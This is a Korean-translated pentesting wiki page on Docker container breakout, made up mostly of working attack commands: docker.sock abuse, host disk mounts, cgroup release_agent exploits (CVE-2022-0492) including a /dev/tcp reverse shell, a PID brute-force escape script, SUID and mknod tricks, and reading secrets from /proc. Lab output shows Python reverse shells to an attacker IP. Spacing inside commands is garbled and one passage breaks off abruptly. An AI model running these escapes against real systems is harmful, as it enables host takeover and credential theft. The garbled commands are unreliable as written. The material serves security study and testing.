만약 도커 컨테이너 내부에 도커 소켓이 마운트되어 있는 것을 발견하면 이를 통해 탈출할 수 있습니다.
이는 일반적으로 도커 데몬에 연결하여 작업을 수행해야 하는 이유로 도커 컨테이너에서 발생합니다.
#Search the socketfind/-namedocker.sock2>/dev/null#It's usually in /run/docker.sock
이 경우에는 일반적인 도커 명령어를 사용하여 도커 데몬과 통신할 수 있습니다:
#List images to use onedockerimages#Run the image mounting the host disk and chroot on itdockerrun-it-v/:/host/ubuntu:18.04chroot/host/bash# Get full access to the host via ns pid and nsenter clidockerrun-it--rm--pid=host--privilegedubuntubashnsenter--target1--mount--uts--ipc--net--pid--bash# Get full privs in container without --privilegeddocker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
만약 도커 소켓이 예상치 못한 위치에 있다면 docker 명령어를 사용하여 -H unix:///path/to/docker.sock 매개변수를 이용해 여전히 통신할 수 있습니다.
도커 데몬은 또한 포트에서 (기본값 2375, 2376) 수신할 수 있으며 Systemd 기반 시스템에서는 Docker 데몬과의 통신이 Systemd 소켓 fd://을 통해 발생할 수 있습니다.
컨테이너의 권한을 확인해야 합니다. 다음 중 하나라도 해당된다면 컨테이너에서 탈출할 수 있을 수 있습니다: CAP_SYS_ADMIN,CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN
현재 컨테이너 권한을 확인하려면 이전에 언급된 자동 도구를 사용하거나 다음을 사용할 수 있습니다:
capsh--print
특권 컨테이너 탈출
특권 컨테이너는 다음과 같은 플래그를 사용하여 생성할 수 있습니다: --privileged 또는 특정 방어 기능을 비활성화하는 방법:
--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
--security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host
/dev를 마운트
--privileged 플래그는 컨테이너 보안을 크게 낮추며 제한 없는 장치 액세스를 제공하고 여러 보호 기능을 우회합니다. 자세한 내용은 --privileged의 전체 영향에 대한 문서를 참조하십시오.
이러한 권한을 사용하면 단순히 호스트에서 루트로 실행 중인 init (pid:1)와 같은 프로세스의 네임스페이스로 이동할 수 있습니다. 다음을 실행하여 테스트할 수 있습니다: nsenter --target 1 --mount --uts --ipc --net --pid -- bash
컨테이너에서 실행하여 테스트해보세요:
dockerrun--rm-it--pid=host--privilegedubuntubash
특권
특권 플래그만으로 호스트의 디스크에 액세스를 시도하거나 release_agent를 남용하여 탈출을 시도할 수 있습니다.
다음의 우회 방법을 컨테이너에서 실행하여 테스트하세요:
dockerrun--rm-it--privilegedubuntubash
디스크 마운트 - Poc1
잘 구성된 도커 컨테이너는 fdisk -l과 같은 명령을 허용하지 않을 것입니다. 그러나 잘못 구성된 도커 명령어에서 --privileged 또는 --device=/dev/sda1와 같은 플래그가 지정된 경우 호스트 드라이브를 볼 수 있는 권한을 얻을 수 있습니다.
따라서 호스트 머신을 탈취하는 것은 간단합니다:
mkdir-p/mnt/holamount/dev/sda1/mnt/hola
그리고 완성! 호스트 파일 시스템에 액세스할 수 있습니다. 이는 /mnt/hola 폴더에 마운트되어 있기 때문입니다.
디스크 마운트 - Poc2
컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기존 호스트 OS에 대한 추가 액세스를 시도할 수 있습니다. 아래는 컨테이너 내에서 이 공격자 벡터를 활용할 수 있는지 확인할 수 있는 몇 가지 일반적인 사항입니다:
### Check if You Can Write to a File-systemecho1>/proc/sysrq-trigger### Check root UUIDcat/proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host FilesystemfindfsUUID=<UUIDValue>/dev/sda1# Attempt to Mount the Host's Filesystemmkdir/mnt-testmount/dev/sda1/mnt-testmount:/mnt:permissiondenied.--->Failed!butifnot,youmayhaveaccesstotheunderlyinghostOSfile-systemnow.### debugfs (Interactive File System Debugger)debugfs/dev/sda1
Privileged Escape 기존 release_agent 악용 (cve-2022-0492) - PoC1
초기 PoC
# spawn a new container to exploit via:# docker run --rm -it --privileged ubuntu bash# Finds + enables a cgroup release_agent# Looks for something like: /sys/fs/cgroup/*/release_agentd=`dirname $(ls-x/s*/fs/c*/*/r*|head-n1)`# If "d" is empty, this won't work, you need to use the next PoC# Enables notify_on_release in the cgroupmkdir-p $d/w;echo1>$d/w/notify_on_release# If you have a "Read-only file system" error, you need to use the next PoC# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlt=`sed-n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadtouch/o; echo $t/c> $d/release_agent# Creates a payloadecho"#!/bin/sh">/cecho"ps > $t/o">>/cchmod+x/c# Triggers the cgroup via empty cgroup.procssh-c"echo 0 > $d/w/cgroup.procs"; sleep1# Reads the outputcat/o
Privileged Escape Abusing created release_agent (cve-2022-0492) - PoC2
두 번째 PoC
# On the hostdockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntubash# Mounts the RDMA cgroup controller and create a child cgroup# This technique should work with the majority of cgroup controllers# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix itmkdir/tmp/cgrp&&mount-tcgroup-ordmacgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# If mount gives an error, this won't work, you need to use the first PoC# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_release# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlhost_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadecho"$host_path/cmd">/tmp/cgrp/release_agent#For a normal PoC =================echo'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#===================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/172.17.0.1/9000 0>&1">>/cmdchmoda+x/cmd#===================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory# The script on the host will execute after /bin/sh exitssh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
#!/bin/shOUTPUT_DIR="/"MAX_PID=65535CGROUP_NAME="xyx"CGROUP_MOUNT="/tmp/cgrp"PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"OUTPUT_NAME="${CGROUP_NAME}_payload.out"OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"# Run a process for which we can search for (not needed in reality, but nice to have)sleep10000&# Prepare the payload script to execute on the hostcat> ${PAYLOAD_PATH} <<__EOF__#!/bin/shOUTPATH=\$(dirname \$0)/${OUTPUT_NAME}# Commands to run on the host<ps -eaf > \${OUTPATH} 2>&1__EOF__# Make the payload script executablechmoda+x ${PAYLOAD_PATH}# Set up the cgroup mount using the memory resource cgroup controllermkdir ${CGROUP_MOUNT}mount-tcgroup-omemorycgroup ${CGROUP_MOUNT}mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}echo1> ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release# Brute force the host pid until the output path is created, or we run out of guessesTPID=1while [ !-f ${OUTPUT_PATH} ]doif [ $((${TPID} % 100)) -eq0 ]thenecho"Checking pid ${TPID}"if [ ${TPID} -gt ${MAX_PID} ]thenecho"Exiting at ${MAX_PID} :-("exit1fifi# Set the release_agent path to the guessed pidecho"/proc/${TPID}/root${PAYLOAD_PATH}"> ${CGROUP_MOUNT}/release_agent# Trigger execution of the release_agentsh-c"echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"TPID=$((${TPID} + 1))done# Wait for and cat the outputsleep1echo"Done! Output:"cat ${OUTPUT_PATH}
여러 경우에 컨테이너에 호스트로부터의 볼륨이 마운트되어 있는 것을 발견할 수 있습니다. 이 볼륨이 올바르게 구성되지 않았다면 민감한 데이터에 액세스/수정할 수 있을 수 있습니다: 비밀 정보 읽기, ssh authorized_keys 변경...
dockerrun--rm-it-v/:/hostubuntubash
2개의 셸과 호스트 마운트를 이용한 권한 상승
만약 컨테이너 내에서 root로 액세스할 수 있는 권한이 있고 호스트의 일부 폴더가 마운트되어 있으며 비특권 사용자로 호스트로 이탈하여 마운트된 폴더에 대한 읽기 액세스 권한이 있다면,
컨테이너 내의 마운트된 폴더에 bash suid 파일을 생성하고 호스트에서 해당 파일을 실행하여 권한 상승을 할 수 있습니다.
cp/bin/bash.#From non priv inside mounted folder# You need to copy it from the host as the bash binaries might be diferent in the host and in the containerchownroot:rootbash#From container as root inside mounted folderchmod4777bash#From container as root inside mounted folderbash-p#From non priv inside mounted folder
2개의 쉘을 사용한 권한 상승
만약 컨테이너 내에서 root로 액세스할 수 있고 비특권 사용자로 호스트로 이탈할 수 있다면, 컨테이너 내에서 MKNOD 기능을 사용할 수 있다면(기본적으로 가능), 두 쉘을 남용하여 호스트 내에서 권한 상승을 할 수 있습니다. 이에 대한 설명은 이 게시물에서 설명되어 있습니다.
이러한 기능을 통해 컨테이너 내의 root 사용자는 블록 장치 파일을 생성할 수 있습니다. 장치 파일은 하드웨어 및 커널 모듈에 액세스하는 데 사용되는 특수 파일입니다. 예를 들어, /dev/sda 블록 장치 파일은 시스템 디스크의 원시 데이터를 읽을 수 있게 해줍니다.
도커는 컨테이너 내에서 블록 장치 남용을 방지하기 위해 블록 장치 읽기/쓰기 작업을 차단하는 cgroup 정책을 시행합니다. 그러나, 컨테이너 내에서 블록 장치가 생성되면, 외부에서 /proc/PID/root/ 디렉토리를 통해 접근할 수 있습니다. 이 접근은 컨테이너 내외의 프로세스 소유자가 동일해야 합니다.
# On the container as rootcd/# Crate devicemknodsdab80# Give access to itchmod777sda# Create the nonepriv user of the host inside the container## In this case it's called augustus (like the user from the host)echo"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash">>/etc/passwd# Get a shell as augustus inside the containersuaugustussu:Authenticationfailure(Ignored)augustus@3a453ab39d3d:/backend$/bin/sh/bin/sh$
# On the host# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ps-auxf|grep/bin/shroot 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus16590.00.04292712?S+09:480:00 \_ /bin/shaugustus16610.00.06116648pts/0S+09:480:00 \_ grep/bin/sh# The process ID is 1659 in this case# Grep for the sda for HTB{ through the process:augustus@GoodGames:~$grep-a'HTB{'/proc/1659/root/sdaHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
hostPID
호스트의 프로세스에 액세스할 수 있다면 해당 프로세스에 저장된 많은 민감한 정보에 액세스할 수 있습니다. 테스트 랩을 실행하세요:
docker run --rm -it --pid=host ubuntu bash
예를 들어, ps auxn과 같은 것을 사용하여 프로세스 목록을 볼 수 있고 명령어에서 민감한 세부 정보를 검색할 수 있습니다.
그런 다음, 호스트의 각 프로세스에 액세스할 수 있기 때문에 /proc/에서 그들의 환경 변수 비밀을 도둑질할 수 있습니다:
for e in`ls/proc/*/environ`; doecho; echo $e; xargs-0-L1-a $e; done/proc/988058/environPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=argocd-server-69678b4f65-6mmqlUSER=abrgocd...
당신은 또한 다른 프로세스의 파일 디스크립터에 액세스하고 그들이 열어 놓은 파일을 읽을 수 있습니다:
for fd in`find/proc/*/fd`; dols-al $fd/*2>/dev/null|grep \>; done> fds.txtlessfds.txt...omittedforbrevity...lrwx------1rootroot64Jun1502:25/proc/635813/fd/2 ->/dev/pts/0lrwx------1rootroot64Jun1502:25/proc/635813/fd/4 ->/.secret.txt.swp# You can open the secret filw with:cat/proc/635813/fd/4
당신은 또한 프로세스를 종료하고 DoS를 유발할 수 있습니다.
만약 컨테이너 외부의 프로세스에 대한 특권 있는 액세스가 있다면, nsenter --target <pid> --all 또는 nsenter --target <pid> --mount --net --pid --cgroup와 같은 것을 실행하여 해당 프로세스와 동일한 ns 제한으로 셸을 실행할 수 있습니다 (희망컨대 없음).
hostNetwork
docker run --rm -it --network=host ubuntu bash
만약 컨테이너가 Docker 호스트 네트워킹 드라이버(--network=host)로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않습니다 (컨테이너는 호스트의 네트워킹 네임스페이스를 공유하며, 컨테이너에 자체 IP 주소가 할당되지 않습니다). 다시 말해, 컨테이너는 모든 서비스를 직접 호스트의 IP에 바인딩합니다. 또한 컨테이너는 tcpdump -i eth0를 사용하여 호스트가 송수신하는 모든 네트워크 트래픽을 가로챌 수 있습니다.
예를 들어, 이를 사용하여 호스트와 메타데이터 인스턴스 간의 트래픽을 스니핑하고 조작할 수 있습니다.
또한 호스트 또는 노드의 로컬호스트에 바인딩된 네트워크 서비스에 액세스하거나, 컨테이너가 액세스할 수 있는 것과 다를 수 있는 노드의 메타데이터 권한에 액세스할 수도 있습니다.
hostIPC
dockerrun--rm-it--ipc=hostubuntubash
hostIPC=true로 설정하면 호스트의 프로세스 간 통신 (IPC) 리소스에 액세스할 수 있습니다. 이는 /dev/shm의 공유 메모리와 같은 IPC 리소스를 읽고 쓸 수 있게 해줍니다. 이는 동일한 IPC 리소스를 다른 호스트나 파드 프로세스에서 사용하는 경우입니다. 이러한 IPC 메커니즘을 자세히 살펴보려면 ipcs를 사용하세요.
/dev/shm 검사 - 이 공유 메모리 위치에서 파일을 확인하세요: ls -la /dev/shm
기존 IPC 시설 검사 - /usr/bin/ipcs를 사용하여 사용 중인 IPC 시설이 있는지 확인할 수 있습니다. 다음 명령어로 확인하세요: ipcs -a
능력 복구
시스콜 **unshare**가 금지되지 않았다면 다음을 실행하여 모든 능력을 복구할 수 있습니다:
unshare-UrmCpfbash# Check them withcat/proc/self/status|grepCapEff
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
CVEs
Runc exploit (CVE-2019-5736)
루트로 docker exec를 실행할 수 있는 경우 (아마도 sudo와 함께), CVE-2019-5736을 남용하여 컨테이너를 탈출하여 권한을 상승시킬 수 있습니다 (exploit 여기). 이 기술은 기본적으로 호스트의 /bin/sh 바이너리를 컨테이너에서 덮어쓸 것이므로, docker exec를 실행하는 사람은 페이로드를 트리거할 수 있습니다.
페이로드를 적절히 변경하고 go build main.go로 main.go를 빌드하세요. 결과 바이너리는 실행을 위해 도커 컨테이너에 배치되어야 합니다.
실행 시, [+] Overwritten /bin/sh successfully가 표시되면 호스트 머신에서 다음을 실행해야 합니다:
네임스페이스: 프로세스는 네임스페이스를 통해 다른 프로세스와 완전히 분리되어야 하므로 네임스페이스로 인해 다른 프로세스와 상호작용을 탈출할 수 없습니다 (기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 /proc를 통해 통신할 수 없음).
루트 사용자: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다 (그러나 권한은 제한됨).
캐퍼빌리티: Docker는 다음 캐퍼빌리티를 남겨 두었습니다: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
시스콜: 이러한 시스콜은 루트 사용자가 호출할 수 없는 시스콜입니다 (캐퍼빌리티 부족 + Seccomp 때문). 다른 시스콜을 사용하여 탈출을 시도할 수 있습니다.
syscall_bf.c 파일의 내용은 다음과 같습니다. 이 파일은 Docker 컨테이너 내에서 특권 상승을 위해 시스템 호출을 사용하는 간단한 C 프로그램입니다. 이 프로그램은 Docker 컨테이너 내에서 특정한 시스템 호출을 통해 호스트 시스템에 루트 권한을 얻기 위해 설계되었습니다. 이러한 종류의 공격은 Docker 컨테이너의 보안 취약점을 악용하여 시스템을 침투하고 특권 상승을 시도하는 공격자들에 의해 사용될 수 있습니다. %}
// From a conversation I had with @arget131// Fir bfing syscalss in x64#include<sys/syscall.h>#include<unistd.h>#include<stdio.h>#include<errno.h>intmain(){for(int i =0; i <333; ++i){if(i == SYS_rt_sigreturn) continue;if(i == SYS_select) continue;if(i == SYS_pause) continue;if(i == SYS_exit_group) continue;if(i == SYS_exit) continue;if(i == SYS_clone) continue;if(i == SYS_fork) continue;if(i == SYS_vfork) continue;if(i == SYS_pselect6) continue;if(i == SYS_ppoll) continue;if(i == SYS_seccomp) continue;if(i == SYS_vhangup) continue;if(i == SYS_reboot) continue;if(i == SYS_shutdown) continue;if(i == SYS_msgrcv) continue;printf("Probando: 0x%03x . . . ", i); fflush(stdout);if((syscall(i,NULL,NULL,NULL,NULL,NULL,NULL)<0) && (errno == EPERM))printf("Error\n");elseprintf("OK\n");}}```
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Find the path of the containers filesystem inside the host
You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
You should be able to execute the trigger from inside the host
You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
You might need to mount things o perform special privileged actions you cannot do in a default docker container